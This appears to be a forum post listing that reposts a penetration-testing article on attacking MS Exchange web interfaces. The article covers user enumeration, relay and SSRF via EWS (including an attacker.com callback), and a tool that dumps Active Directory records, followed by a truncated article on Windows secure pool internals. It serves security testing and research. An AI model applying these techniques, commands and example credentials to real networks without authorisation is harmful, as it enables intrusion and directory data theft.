-
Posts
18710 -
Joined
-
Last visited
-
Days Won
700
Everything posted by Nytro
-
Attacking MS Exchange Web Interfaces Written by Arseniy Sharoglazov on July 23, 2020 Arseniy Sharoglazov Penetration Testing Expert _mohemiv During External Penetration Testing, I often see MS Exchange on the perimeter: Examples of MS Exchange web interfaces Exchange is basically a mail server that supports a bunch of Microsoft protocols. It’s usually located on subdomains named autodiscover, mx, owa or mail, and it can also be detected by existing /owa/, /ews/, /ecp/, /oab/, /autodiscover/, /Microsoft-Server-ActiveSync/, /rpc/, /powershell/ endpoints on the web server. The knowledge about how to attack Exchange is crucial for every penetration testing team. If you found yourself choosing between a non-used website on a shared hosting and a MS Exchange, only the latter could guide you inside. In this article, I’ll cover all the available techniques for attacking MS Exchange web interfaces and introduce a new technique and a new tool to connect to MS Exchange from the Internet and extract arbitrary Active Directory records, which are also known as LDAP records. Techniques for Attacking Exchange in Q2 2020 Let’s assume you’ve already brute-forced or somehow accessed a low-privilege domain account. If you had been a Black Hat, you would try to sign into the Exchange and access the user’s mailbox. However, for Red Teams, it’s never possible since keeping the client data private is the main goal during penetration testing engagements. I know of only 5 ways to attack fully updated MS Exchange via a web interface and not disclose any mailbox content: Getting Exchange User List and Other Information Exchange servers have a url /autodiscover/autodiscover.xml that implements Autodiscover Publishing and Lookup Protocol (MS-OXDSCLI). It accepts special requests that return a configuration of the mailbox to which an email belongs. If Exchange is covered by Microsoft TMG, you must specify a non-browser User-Agent in the request or you will be redirected to an HTML page to authenticate. Microsoft TMG’s Default User-Agent Mapping An example of a request to the Autodiscover service: POST /autodiscover/autodiscover.xml HTTP/1.1 Host: exch01.contoso.com User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Outlook 16.0.10730; Pro) Authorization: Basic Q09OVE9TT1x1c2VyMDE6UEBzc3cwcmQ= Content-Length: 341 Content-Type: text/xml <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006"> <Request> <EMailAddress>kmia@contoso.com</EMailAddress> <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema> </Request> </Autodiscover> The specified in the <EMailAddress> tag email needs to be a primary email of an existing user, but it does not necessarily need to correspond to the account used for the authentication. Any domain account will be accepted since the authentication and the authorization are fully done on IIS and Windows levels and Exchange is only processing the XML. If the specified email has been accepted, you will get a big response containing a dynamically constructed XML. Examine the response, but don’t miss the four following items: An example of the Autodiscover service’s output In the X-BackEndCookie cookie you will find a SID. It’s the SID of the used account, and not the SID of the mailbox owner. This SID can be useful when you don’t know the domain of the bruteforced user. In the <AD> and <Server> tags you will find one of Domain Controllers FQDNs, and the Exchange RPC identity. The DC FQDN will refer to the domain of the mailbox owner. Both <AD> and <Server> values can vary for each request. As you go along, you’ll see how you may apply this data. In the <OABUrl> tag you will find a path to a directory with Offline Address Book (OAB) files. Using the <OABUrl> path, you can get an Address List of all Exchange users. To do so, request the <OABUrl>/oab.xml page from the server and list OAB files: Getting access to Offline Address Books The Global Address List (GAL) is an Address Book that includes every mail-enabled object in the organization. Download its OAB file from the same directory, unpack it via the oabextract tool from libmspack library, and run one of the OAB extraction tools or just a strings command to get access to user data: An example of extracting data via Offline Address Books There could be multiple organizations on the server and multiple GALs, but this function is almost never used. If it’s enabled, the Autodiscover service will return different OABUrl values for users from different organizations. There are ways to get Address Lists without touching OABs (e.g., via MAPI over HTTP in Ruler or via OWA or EWS in MailSniper), but these techniques require your account to have a mailbox associated with it. After getting a user list, you can perform a Password Spraying attack via the same Autodiscover service or via any other domain authentication on the perimeter. I advise you check out ntlmscan utility, as it contains a quite good wordlist of NTLM endpoints. Pros and Cons Any domain account can be used The obtained information is very limited You can only get a list of users who have a mailbox You have to specify an existent user’s primary email address The attacks are well-known for Blue Teams, and you can expect blocking or monitoring of the needed endpoints Available extraction tools do not support the full OAB format and often crash Don’t confuse Exchange Autodiscover with Lync Autodiscover; they are two completely different services. Usage of Ruler Ruler is a tool for connecting to Exchange via MAPI over HTTP or RPC over HTTP v2 protocols and insert special-crafted records to a user mailbox to abuse the user’s Microsoft Outlook functions and make it execute arbitrary commands or code. An example of Ruler usage There are currently only three known techniques to get an RCE in such a way: via rules, via forms, and via folder home pages. All three are fixed, but organizations which have no WSUS, or have a WSUS configured to process only Critical Security Updates, can still be attacked. Microsoft Update Severity Ratings You must install both Critical and Important updates to protect your domain from Ruler’s attacks Pros and Cons A successful attack leads to RCE The used account must have a mailbox The user must regularly connect to Exchange and have a vulnerable MS Outlook The tool provides no way to know if the user uses MS Outlook and what its version is The tool requires you to specify the user’s primary email address The tool requires /autodiscover/ endpoint to be available The tool has no Unicode support The tool has a limited protocol support and may fail with mystery errors Blue Teams can reveal the tool by its hardcoded strings and BLOBs, including the “Ruler” string in its go-ntlm external library Link to a tool: https://github.com/sensepost/ruler Usage of PEAS PEAS is a lesser-known alternative to Ruler. It’s a tool for connecting to Exchange via ActiveSync protocol and get access to any SMB server in the internal network: An example of PEAS usage To use PEAS, you need to know any internal domain name that has no dots. This can be a NetBIOS name of a server, a subdomain of a root domain, or a special name like localhost. A domain controller NetBIOS name can be obtained from the FQDN from the <AD> tag of the Autodiscover XML, but other names are tricky to get. The PEAS attacks work via the Search and ItemOperations commands in ActiveSync. Note #1 It’s a good idea to modify PEAS hard-coded identifiers. Exchange stores identifiers of all ActiveSync clients, and Blue Teams can easily request them via an LDAP request. These records can be accessible via any user with at least Organization Management privileges: Getting a list of accounts that have used PEAS via LDAP using (msExchDeviceID=123456) filter These identifiers are also used to wipe lost devices or to filter or quarantine new devices by their models or model families. If the quarantine policy is enforced, Exchange sends emails to administrators when a new device has been connected. Once the device is allowed, a device with the same model or model family can be used to access any mailbox. An example of widely used identifiers: msExchDeviceID: 302dcfc5920919d72c5372ce24a13cd3 msExchDeviceModel: Outlook for iOS and Android msExchDeviceOS: OutlookBasicAuth msExchDeviceType: Outlook msExchDeviceUserAgent: Outlook-iOS-Android/1.0 If you have been quarantined, PEAS will show an empty output, and there will be no signs of quarantine even in the decrypted TLS traffic. Note #2 The ActiveSync service supports http/https URLs for connecting to Windows SharePoint Services (WSS). This feature can be abused by performing a blind SSRF attack, and you will have an option to authenticate to the target with any credentials via NTLM: Forcing Exchange to make a WSS connection to http://SHP01/test/test/test with CONTOSO\sharepoint-setup account An example of a WSS connection: activesync_wss_sample.pcap The shown requests will be sent even if the target is not a SharePoint. For HTTPS connections, the certificate will require a validation. As it is ActiveSync, the target hostname should have no dots. Pros and Cons The tool has no bugs on the protocol level The tool supports usage of different credentials for each Exchange and SMB/HTTP The tool attacks are unique and cannot be currently done via other techniques or software The used account must have a mailbox The ActiveSync protocol must be enabled on the server and for the used account The support of UNC/WSS paths must not be disabled in the ActiveSync configuration The list of allowed SMB/WSS servers must not be set in the ActiveSync configuration You need to know hostnames to connect ActiveSync accepts only plaintext credentials, so there is no way to perform the NTLM Relay or Pass-The-Hash attack The tool has some bugs related to Unicode paths, but they can be easily fixed. Link to a tool: https://github.com/FSecureLABS/PEAS Abusing EWS Subscribe Operation Exchange Web Services (EWS) is an Exchange API designed to provide access to mailbox items. It has a Subscribe operation, which allows a user to set a URL to get callbacks from Exchange via HTTP protocol to receive push notifications. In 2018, the ZDI Research Team discovered that Exchange authenticates to the specified URL via NTLM or Kerberos, and this can be used in NTLM Relay attacks to the Exchange itself. Impersonating Users on Microsoft Exchange Forcing Exchange to make a connection to http://attacker.com/test/test/test After the original publication, the researcher Dirk-jan Mollema demonstrated that HTTP requests in Windows can be relayed to LDAP and released the PrivExchange tool and a new version of NTLMRelayX to get a write access to Active Directory on behalf of the Exchange account. Abusing Exchange: One API call away from Domain Admin Currently, Subscribe HTTP callbacks do not support any interaction with a receiving side, but it’s still possible to specify any URL to get an incoming connection, so they can be used for blind SSRF attacks. Pros and Cons The used account must have a mailbox You must have an extensive knowledge of the customer’s internal network Link to a tool: https://github.com/dirkjanm/PrivExchange Abusing Office Web Add-ins This technique is only for persistence, so just read the information by the link if needed. Link to a technique: https://www.mdsec.co.uk/2019/01/abusing-office-web-add-ins/ The New Tool We Want Based on the available attacks and software, it’s easy to imagine the tool that will be great to have: The tool must work with any domain account The tool must not rely on /autodiscover/ and /oab/ URLs The knowledge of any email addresses must not be required All used protocols must be fully and qualitatively implemented The tool must be able to get Address Lists on all versions of Exchange in any encoding The tool must not rely on endpoints which can be protected by ADFS, as ADFS may require Multi-Factor Authentication The tool must be able to get other useful data from Active Directory: service account names, hostnames, subnets, etc These requirements led me to choose RPC over HTTP v2 protocol for this research. It’s the oldest protocol for communication with Exchange, it’s enabled by default in Exchange 2003/2007/2010/2013/2016/2019, and it can pass through Microsoft Forefront TMG servers. How RPC over HTTP v2 works Let’s run Ruler and see how it communicates via RPC over HTTP v2: Connection #1 Traffic dump of Ruler #1 connection Parallel Connection #2 Traffic dump of Ruler #2 connection RPC over HTTP v2 works in two parallel connections: IN and OUT channels. It’s a patented Microsoft technology for high-speed traffic passing via two fully compliant HTTP/1.1 connections. The structure of RPC over HTTP v2 data is described in the MS-RPCH Specification, and it just consists of ordinary MSRPC packets and special RTS RPC packets, where RTS stands for Request to Send. RPC over HTTP v2 carries MSRPC The endpoint /rpc/rpcproxy.dll actually is not a part of Exchange. It’s a part of a service called RPC Proxy. It’s an intermediate forwarding server between RPC Clients and RPC Servers. The Exchange RPC Server is on port 6001 in our case: An example of a pure ncacn_http endpoint We will refer to such ports as ncacn_http services/endpoints. According to the specification, each client must use RPC Proxies to connect to ncacn_http services, but surely you can emulate RPC Proxy and connect to ncacn_http endpoints directly, if you need to. RPC IN and OUT channels operate independently, and they can potentially pass through different RPC Proxies, and the RPC Server can be on a different host as well: The RPC Server, i.e., the ncacn_http endpoint orchestrates IN and OUT channels, and packs or unpacks MSRPC packets into or from them. Both RPC Proxies and RPC Servers control the amount of traffic passing through the chain to protect from Denial-of-Service attacks. This protection is one of the reasons for the existence of RTS RPC packets. Determining target RPC Server name In the RPC over HTTP v2 traffic dump, you can see that Ruler obtained the RPC Server name from the Autodiscover service and put it into the URL: Traffic dump of Ruler’s RPC over HTTP v2 connection Interestingly, according to the MS-RPCH specification, this URL should contain a hostname or an IP; and such “GUID hostnames” cannot be used: An excerpt from the MS-RPCH specification: 2.2.2 URI Encoding The article by Microsoft RPC over HTTP Security also mentions nothing about this format, but it shows the registry key where RPC Proxies contain allowed values for this URL: HKLM\Software\Microsoft\Rpc\RpcProxy. An example of a content of HKLM\Software\Microsoft\Rpc\RpcProxy key It was discovered that each RPC Proxy has a default ACL that accepts connections to the RPC Proxy itself via 593 and 49152-65535 ports using its NetBIOS name, and all Exchange servers have a similar ACL containing every Exchange NetBIOS name with corresponding ncacn_http ports. Since RPC Proxies support NTLM authentication, we can always get theirs NetBIOS names via NTLMSSP: An example of getting target NetBIOS name via NTLMSSP using nmap So now we likely have a technique for connecting to RPC Proxies without usage of the Autodiscover service and knowing the Exchange GUID identity. Based on the code available in Impacket, I’ve developed RPC over HTTP v2 protocol implementation, rpcmap.py utility, and slightly modified rpcdump.py to verify our ideas and pave the way for future steps: Running rpcmap.py for Exchange 2019. The previous version of this tool was contributed to Impacket in May 2020. Traffic dump of RPC IN Channel of rpcmap.py Although rpcmap.py successfully used our technique to connect to the latest Exchange, internally the request was processed in a different way: Exchange 2003/2007/2010 used to get connections via rpcproxy.dll, but Exchange 2013/2016/2019 have RpcProxyShim.dll. RpcProxyShim.dll hooks RpcProxy.dll callbacks and processes Exchange GUID identities. NetBIOS names are also supported for backwards compatibility. RpcProxyShim.dll allows to skip authentication on the RPC level and can forward traffic directly to the Exchange process to get a faster connection. For more information about RpcProxyShim.dll and RPC Proxy ACLs, read comments in our MS-RPCH implimentation code. Exploring RPC over HTTP v2 endpoints Let’s run rpcmap.py with -brute-opnums option for MS Exchange 2019 to get information about which endpoints are accessible via RPC over HTTP v2: $ rpcmap.py -debug -auth-transport 'CONTOSO/mia:P@ssw0rd' -auth-rpc 'CONTOSO/mia:P@ssw0rd' -auth-level 6 -brute-opnums 'ncacn_http:[6001,RpcProxy=exch01.contoso.com:443]' [+] StringBinding has been changed to ncacn_http:EXCH01[6001,RpcProxy=exch01.contoso.com:443] Protocol: [MS-DCOM]: Distributed Component Object Model (DCOM) Remote Provider: N/A UUID: 00000131-0000-0000-C000-000000000046 v0.0 Opnums 0-64: rpc_s_access_denied Protocol: [MS-DCOM]: Distributed Component Object Model (DCOM) Provider: N/A UUID: 00000134-0000-0000-C000-000000000046 v0.0 Opnums 0-64: rpc_s_access_denied Protocol: [MS-DCOM]: Distributed Component Object Model (DCOM) Remote Provider: N/A UUID: 00000143-0000-0000-C000-000000000046 v0.0 Opnums 0-64: rpc_s_access_denied Protocol: [MS-OXABREF]: Address Book Name Service Provider Interface (NSPI) Referral Protocol Provider: N/A UUID: 1544F5E0-613C-11D1-93DF-00C04FD7BD09 v1.0 Opnum 0: rpc_x_bad_stub_data Opnum 1: rpc_x_bad_stub_data Opnums 2-64: nca_s_op_rng_error (opnum not found) Protocol: [MS-DCOM]: Distributed Component Object Model (DCOM) Provider: ole32.dll UUID: 18F70770-8E64-11CF-9AF1-0020AF6E72F4 v0.0 Opnums 0-64: rpc_s_access_denied Protocol: [MS-OXCRPC]: Wire Format Protocol Provider: N/A UUID: 5261574A-4572-206E-B268-6B199213B4E4 v0.1 Opnum 0: rpc_x_bad_stub_data Opnums 1-64: nca_s_op_rng_error (opnum not found) Procotol: N/A Provider: N/A UUID: 5DF3C257-334B-4E96-9EFB-A0619255BE09 v1.0 Opnums 0-64: rpc_s_access_denied Protocol: [MS-OXCRPC]: Wire Format Protocol Provider: N/A UUID: A4F1DB00-CA47-1067-B31F-00DD010662DA v0.81 Opnum 0: rpc_x_bad_stub_data Opnum 1: rpc_x_bad_stub_data Opnum 2: rpc_x_bad_stub_data Opnum 3: rpc_x_bad_stub_data Opnum 4: rpc_x_bad_stub_data Opnum 5: rpc_x_bad_stub_data Opnum 6: success Opnum 7: rpc_x_bad_stub_data Opnum 8: rpc_x_bad_stub_data Opnum 9: rpc_x_bad_stub_data Opnum 10: rpc_x_bad_stub_data Opnum 11: rpc_x_bad_stub_data Opnum 12: rpc_x_bad_stub_data Opnum 13: rpc_x_bad_stub_data Opnum 14: rpc_x_bad_stub_data Opnums 15-64: nca_s_op_rng_error (opnum not found) Protocol: [MS-RPCE]: Remote Management Interface Provider: rpcrt4.dll UUID: AFA8BD80-7D8A-11C9-BEF4-08002B102989 v1.0 Opnum 0: success Opnum 1: rpc_x_bad_stub_data Opnum 2: success Opnum 3: success Opnum 4: rpc_x_bad_stub_data Opnums 5-64: nca_s_op_rng_error (opnum not found) Procotol: N/A Provider: N/A UUID: BA3FA067-8D56-4B56-BA1F-9CBAE8DB3478 v1.0 Opnums 0-64: rpc_s_access_denied Protocol: [MS-NSPI]: Name Service Provider Interface (NSPI) Protocol Provider: ntdsai.dll UUID: F5CC5A18-4264-101A-8C59-08002B2F8426 v56.0 Opnum 0: rpc_x_bad_stub_data Opnum 1: rpc_x_bad_stub_data Opnum 2: rpc_x_bad_stub_data Opnum 3: rpc_x_bad_stub_data Opnum 4: rpc_x_bad_stub_data Opnum 5: rpc_x_bad_stub_data Opnum 6: rpc_x_bad_stub_data Opnum 7: rpc_x_bad_stub_data Opnum 8: rpc_x_bad_stub_data Opnum 9: rpc_x_bad_stub_data Opnum 10: rpc_x_bad_stub_data Opnum 11: rpc_x_bad_stub_data Opnum 12: rpc_x_bad_stub_data Opnum 13: rpc_x_bad_stub_data Opnum 14: rpc_x_bad_stub_data Opnum 15: rpc_x_bad_stub_data Opnum 16: rpc_x_bad_stub_data Opnum 17: rpc_x_bad_stub_data Opnum 18: rpc_x_bad_stub_data Opnum 19: rpc_x_bad_stub_data Opnum 20: rpc_x_bad_stub_data Opnums 21-64: nca_s_op_rng_error (opnum not found) The rpcmap.py works via the Remote Management Interface described in MS-RPCE 2.2.1.3. If it’s available, it can show all interfaces offered by the RPC Server. Note that the tool may show non-available endpoints, and provider and protocol lines are taken from the Impacket database, and they can be wrong. Correlating the rpcmap.py output with the Exchange documentation, the next table with a complete list of protocols available via RPC over HTTP v2 in MS Exchange was formed: Protocol UUID Description MS‑OXCRPC A4F1DB00-CA47-1067-B31F-00DD010662DA v0.81 Wire Format Protocol EMSMDB Interface MS‑OXCRPC 5261574A-4572-206E-B268-6B199213B4E4 v0.1 Wire Format Protocol AsyncEMSMDB Interface MS‑OXABREF 1544F5E0-613C-11D1-93DF-00C04FD7BD09 v1.0 Address Book Name Service Provider Interface (NSPI) Referral Protocol MS‑OXNSPI F5CC5A18-4264-101A-8C59-08002B2F8426 v56.0 Exchange Server Name Service Provider Interface (NSPI) Protocol MS-OXCRPC is the protocol that Ruler uses to send MAPI messages to Exchange, and MS-OXABREF and MS-OXNSPI are two completely new protocols for the penetration testing field. Exploring MS-OXABREF and MS-OXNSPI MS-OXNSPI is one of the protocols that Outlook uses to access Address Books. MS-OXABREF is its auxiliary protocol to obtain the specific RPC Server name to connect to it via RPC Proxy to use the main protocol. MS-OXNSPI contains 21 operations to access Address Books. It appears to be an OAB with search and dynamic queries: Contents of the MS-OXNSPI specification The important thing for working with MS-OXNSPI is understanding what Legacy DN is. In the specification you will see terms “DN” and “DNs” that seem to refer to Active Directory: An excerpt from the MS-OXNSPI specification: 3.1.4.1.13 NspiDNToMId The truth is, these DNs are not Active Directory DNs. They are Legacy DNs. In 1997, Exchange was not based on Active Directory and used its predecessor, X.500 Directory Service. In 2000, the migration to Active Directory happened, and for each X.500 attribute a corresponding attribute in Active Directory was assigned: X.500 Attribute Active Directory Attribute DXA‑Flags none DXA‑Task none distinguishedName legacyExchangeDN objectGUID objectGUID mail mail none distinguishedName … … X.500 distinguishedName was moved to legacyExchangeDN, and Active Directory was given its own distinguishedName. But, from Exchange protocols point of view, not that much has changed. The protocols were modified to access Active Directory instead of X.500 Directory Service, but a lot of the terminology and internal features remained the same. I would say X.500 space on top of Active Directory was formed, and all elements with legacyExchangeDN attribute represent it. Let’s see how it’s done in practice. I’ve developed the implementation of MS-OXNSPI protocol, but before we use it, let’s request our sample object via LDAP: Connecting to Active Directory via LDAP and getting information about a sample user As expected, the distinguishedName field contains the object’s Active Directory Distinguished Name, and the legacyExchangeDN field contains a different thing we call Legacy DN. To request information about this user via MS-OXNSPI, we will use its Legacy DN as a DN, as it represents a DN in our imaginary X.500 space: Connecting to Exchange via MS-OXNSPI and performing the NspiDNToMId operation The NspiDNToMId operation we called returned a temporary object identifier that works only during this session. We will talk about it in the next section, but for now, just observe that we passed Legacy DN as a DN and it worked. Also note we have used “Administrator” account and it worked despite the fact that this account doesn’t have a mailbox. Even a machine account would work fine. Let’s request all the object properties via the obtained temporary identifier: Requesting the sample object information via MS-OXNSPI You can see we were able to get a lot of properties which do not show up via other techniques (e.g., OAB extracting). Sadly, not all Active Directory properties are here. Exchange returns only fields of our imaginary X.500 space. As the documentation describes operations to get all members of any Address Book, we are able to develop a tool to extract all available fields of all mailbox accounts. I will present this tool at the end, but now let’s move on since we wanted to get access to whole Active Directory information. Revealing Formats of MIDs and Legacy DNs One of the key terms in MS-OXNSPI is Minimal Entry ID (MId). MIDs are 4-byte integers that act like temporary identifiers during a single MS-OXNSPI session: An excerpt from the MS-OXNSPI specification: 2.2.9.1 MinimalEntryID The documentation does not disclose the algorithm used for MIDs creation. To explore how MIDs are formed, we will call NspiGetSpecialTable operation and obtain a list of existing Address Books: The demonstration of usage of NspiGetSpecialTable operation In the output, the PidTagAddressBookContainerId field contains an assigned MId for each Address Book. It’s easy to spot that they are simply integers that are decrementing from 0xFFFFFFF0: MID HEX Format MID Unsigned Int Format MID Signed Int Format 0xFFFFFFF0 4294967280 -16 0xFFFFFFEF 4294967279 -17 0xFFFFFFEE 4294967278 -18 … … … The 4294967280 number also appeared in the previous section where we requested sample user information. It’s here again because I used a blank session to take this screenshot. If it was the same session, we would get MIDs assigned from 4294967279. Take a look into the PidTagEntryId field in the shown output. It contains new for us Legacy DN format: /guid=B2D6307C8376CA4DA4CE20E29BB1F2DF If you will try to request objects using this format, you will discover you can get any Active Directory object by its objectGUID: Getting access to a service account’s data by its objectGUID This output shows the other similar Legacy DN format: /o=NT5/ou=00000000000000000000000000000000/cn=F24B833B62919948B1D1D2D888CDB10B So, we need very little to obtain whole Active Directory data: we must either get a list of all Active Directory GUIDs, or somehow make the server assign a MId to each Active Directory object. Revealing Hidden Format of MIDs I redrawn the previously used schematic to show how MS-OXNSPI works from the server perspective: Exchange does not match or sort the data itself; it’s acting like a proxy. Most of the work happens on Domain Controllers. Exchange uses LDAP and MS-NSPI protocols to connect to DCs to access the Active Directory database. MS-NSPI is the MSRPC protocol that is almost fully compliant with MS-OXNSPI: Contents of the MS-OXNSPI specification Contents of the MS-NSPI specification The main difference is that the MS-NSPI protocol is offered by the legacy ntdsai.dll library in the lsass.exe memory on DCs when Exchange is set up. The MS-NSPI and MS-OXNSPI protocols are even sharing UUIDs: Protocol UUID MS‑NSPI F5CC5A18-4264-101A-8C59-08002B2F8426 v56.0 MS‑OXNSPI F5CC5A18-4264-101A-8C59-08002B2F8426 v56.0 So, MS-NSPI is the third network protocol after LDAP and MS-DRSR (MS-DRSR is also known as DcSync and DRSUAPI) to access the Active Directory database. Let’s connect to a Domain Controller via MS-NSPI using our code developed for MS-OXNPSI: Determining MS-NSPI endpoint on a DC and connecting to it And let’s call NspiGetSpecialTable, the operation we previously used for obtaining a list of existing Address Books, directly on a DC: Calling NspiGetSpecialTable on a Domain Controller The returning Address Books remain the same, but the MIDs are different. A MId on a Domain Controller represents an object DNT. Distinguished Name Tags (DNTs) are 4-byte integer indexes of objects inside a Domain Controller NTDS.dit database. DNTs are different on every DC: they are never replicated, but can be copied during an initial DC synchronization. DNTs usually start between 1700 and 2200, end before 100,000 in medium-sized domains, and end before 5,000,000 in large-sized domains. New DNTs are created by incrementing previous ones. According to the Microsoft website, the maximum possible DNT is 231 (2,147,483,648). MIDs on Domain Controllers are DNTs The fact that DCs use DNTs as MIDs is convenient since, in this way, DCs don’t need to maintain an in-memory correspondence table between MIDs and GUIDs for each object. The downside is that an NSPI client can request any DNT skipping the MID-assigning process. Requesting DNTs via Exchange Let’s construct a table with approximate MID ranges we have discovered: MID Range Used to 0x00000000 .. 0x00000009 Trigger specific behaviors in specific methods (e.g., indicating the end of a table) 0x00000010 .. 0x7FFFFFFF Used by Domain Controllers as MIDs and DNTs 0xFFFFFFF0 .. 0x80000000 Used by Exchange as dynamically assigned MIDs It’s clear Domain Controllers MIDs and Exchange MIDs are not intersecting. It’s done on purpose: Exchange allows proxying DC MIDs to and from the end-user This is one of the ways how Exchange devolves data matching operations to Domain Controllers. An example of an operation that clearly shows this can be NspiUpdateStat: Calling the NspiUpdateStat operation via MS Exchange In fact, in Exchange 2003, MS-OXNSPI didn’t exist and the future protocol named MS-OXABREF returned a Domain Controller address to the client. Next, the client contacted the MS-NSPI interface on a DC via RPC Proxy without passing traffic through Exchange. After 2003, NSPI implementation started to move from DCs to Exchange, and you will find the NSPI Proxy Interface term in books of that time. In 2011, the initial MS-OXNSPI specification was published, but internally it’s still based on Domain Controller NSPI endpoints. This story also explains why we see the 593/tcp port with ncacn_http endpoint mapper on every DC nowadays. This is the port for Outlook 2003 to locate MS-NSPI interface via RPC Proxies. If you are wondering if we can look up all DNTs from zero to a large number as MIDs via Exchange, this is exactly how our tool will get all Active Directory records. The Tool’s Overview The exchanger.py utility was developed to conduct all described movements: Displaying supported attacks in exchanger.py The list-tables attack lists Address Books and can count entities in every one of them: Example usage of the list-tables attack The dump-tables attack can dump any specified Address Book by its name or GUID. It supports requesting all the properties, or one of the predefined set of fields. It’s capable of getting any number of rows via one request: The help of the dump-tables attack Example usage of the dump-tables attack The guid-known attack returns Active Directory objects by their GUIDs. It’s capable of looking up GUIDs from a specified file. Example usage of the guid-known attack The dnt-lookup option dumps all Active Directory records via requesting DNTs. It requests multiple DNTs at one time to speed up the attack and reduce traffic: Example usage of the dnt-lookup attack The dnt-lookup attack supports the -output-file flag to write the output to a file, as the output could be larger than 1 GB. The output file will include, but will not be limited to: user thumbnails, all description and info fields, user certificates, machine certificates (including machine NetBIOS names), subnets, and printer URLs. The Tool’s Internal Features The internal exchanger.py features: Python2/Python3 compatibility NTLM and Basic authentication, including Pass-The-Hash attack TLS SNI support Full Unicode compliance RPC over HTTP v2 implementation tested on 20+ targets RPC Fragmentation and RPC over HTTP v2 Flow control MS-OXABREF implementation MS-NSPI/MS-OXNSPI implementation Complete OXNSPI/NSPI/MAPI fields database Optimized NDR parser to work with large-sized RPC results The tool doesn’t support usage of the Autodiscover service, since during many penetration tests, this service was blocked or it was almost impossible to guess an email to get its output. When Basic is forced or Microsoft TMG is covering the Exchange, the tool will not be able to get the RPC Server name from NTLMSSP, or this name will not work. If this happens, manually request the RPC Server name via Autodiscover or find it in HTTP headers, in sources of OWA login form, or in mail headers of emails from the server and set it in -rpc-hostname flag: Examples of setting -rpc-hostname flag If you are not sure in what hostname the tool is getting from NTLMSSP, use -debug flag to show this information and other useful debugging output. The Tool’s Limitations The tool was developed with support for any Exchange configuration and was tested in all such cases. However, there are two issues that can occur: Issue with Multi-Tenant Configurations When Exchange uses multiple Active Directory domains, the dnt-lookup attack may crash a Domain Controller. Probably no one has ever used all the features of MS-NSPI, especially on Global Catalog Domain Controllers, and the ntdsai.dll library may throw some unhandled exceptions which result in lsass.exe termination and a reboot. We were unable to consistently reproduce this behavior. The list-tables, dump-tables and guid-known attacks are safe and work fine with Exchange Multi-Tenant Configurations. Issue with Nginx If MS Exchange is running behind an nginx server that was not specially configured for Exchange, the nginx will buffer data in RPC IN/OUT Channels and release them by 4k/8k size blocks. This will break our tool and MS Outlook as well. We’d probably can develop a workaround for this by expanding RPC traffic with unnecessary data. Getting The Tool The exchanger.py tool is available in our fork of Impacket: https://github.com/ptswarm/impacket Commands for getting started: git clone https://github.com/ptswarm/impacket mv impacket/impacket impacket/examples python3 impacket/examples/exchanger.py The latest versions of rpcmap.py and rpcdump.py are also available in this repository. It would be great to see this in Impacket, as with the assistance of its community it will be easier to maintain the tools and add new capabilities to them. I hope we’ll see an offline OAB unpacker and MS-OXCRPC and MAPI implementation with at least Ruler functions in exchanger.py. Mitigations We recommend that all our clients use client certificates or a VPN to provide remote access to employees. No Exchange, or other domain services should be available directly from the Internet. Sursa: https://swarm.ptsecurity.com/attacking-ms-exchange-web-interfaces/
-
Secure Pool Internals : Dynamic KDP Behind The Hood Posted byYarden Shafir July 12, 2020 Leave a comment on Secure Pool Internals : Dynamic KDP Behind The Hood Starting with Windows 10 Redstone 5 (Version 1809, Build 17763), a lot has changed in the kernel pool. We won’t talk about most of these changes, that will happen in a 70-something page paper that will be published at some point in the future when we can find enough time and ADHD meds to finish it. One of the more exciting changes, which is being added in Version 2104 and above, is a new type of pool – the secure pool. In short, the secure pool is a pool managed by Securekernel.exe, which operates in Virtual Trust Level 1 (VTL 1), and that cannot be directly modified by anything running in VTL 0. The idea is to allow drivers to keep sensitive information in a location where it is safe from tampering, even by other drivers. Dave Weston first announced this feature, marketed as Kernel Data Protection (KDP), at his BlueHat Shanghai talk in 2019 and Microsoft recently published a blog post presenting it and some of its internal details. Note that there are two parts to the full KDP implementation: Static KDP, which refers to protecting read-only data sections in driver images, and Dynamic KDP, which refers to the secure pool, the topic of our blog post, which will talk about how to use this new pool and some implementation details, but will not discuss the general implementation of heaps or any of their components that are not specific to the secure pool. We’ll also mention three separate design flaw vulnerabilities that were found in the original implementation in Build 20124, which were all fixed in 20161. These were identified and fixed through Microsoft’s great Windows Insider Preview Bug Bounty Program for $20000 USD each. Initialization The changes added for this new pool start at boot. In MiInitSystem we can now see a new check for bit 15 in MiFlags, which checks if secure pool is enabled on this machine. Since MI_FLAGS is now in the symbol files, we can see that it corresponds to: +0x000 StrongPageIdentity : Pos 15, 1 Bit which is how the kernel knows that Virtualization Based Security (VBS) is enabled on a system with Secondary Level Address Table (SLAT) support. This allows the usage of Extended Page Table Entries (EPTEs) to add an additional, hypervisor-managed, layer of protection around physical memory. This is exactly what the secure pool will be relying on. If the bit is set, MmInitSystem calls VslInitializeSecurePool, passing in MiState.Vs.SystemVaRegions[MiVaSecureNonPagedPool].BaseAddress: If we compare the symbol files and look at the MI_SYSTEM_VA_TYPE enum, we’ll in fact see that a new member was added with a value of 15:MiVaSecureNonPagedPool: VslInitializeSecurePool initializes an internal structure sized 0x68 bytes with parameters for the secure call. This structure contains information used to make the secure call, such as the service code to be invoked and up to 12 parameters to be sent to Securekernel. In this case only 2 parameters are used – the requested size for the secure pool (512 GB) and a pointer to receive its base address: It also initializes global variables SecurePoolBase and SecurePoolEnd, which will be used to validate secure pool handle (more on that later). Then it calls VslpEnterIumSecureMode to call into SecureKernel, which will initialize the secure pool itself, passing in the secureCallParams structure that contains that requested parameters. Before Alex’s blog went down, he was working on an interesting series of posts on how the VTL 0 <-> VTL 1 communication infrastructure works, and hopefully it will return at some point, so we’ll skip the details here. Securekernel unpacks the input parameters, finds the right path for the call, and eventually gets us to SkmmInitializeSecurePool. This function calls SecurePoolMgrInitialize, which does a few checks before initializing the pool. First it validates that the input parameter SecurePoolBase is not zero and that it is aligned to 16 MB. Then it checks that the secure pool was not already initialized by checking if the global variable SecurePoolBaseAddress is empty: The next check is for the size. If the supplied size is larger than 256 GB, the function ignores the supplied size and sets it to 256 GB. This is explained in the blog post from Microsoft linked earlier, where the secure kernel is shown to use a 256 GB region for the kernel’s 512 GB range. It’s quote curious that this is done by having the caller supply 512 GB as a size, and the secure kernel ignoring the parameter and overriding it with 256. Once these checks are done SkmmInitializeSecurePool starts initializing the secure pool. It reserves a Normal Address Range 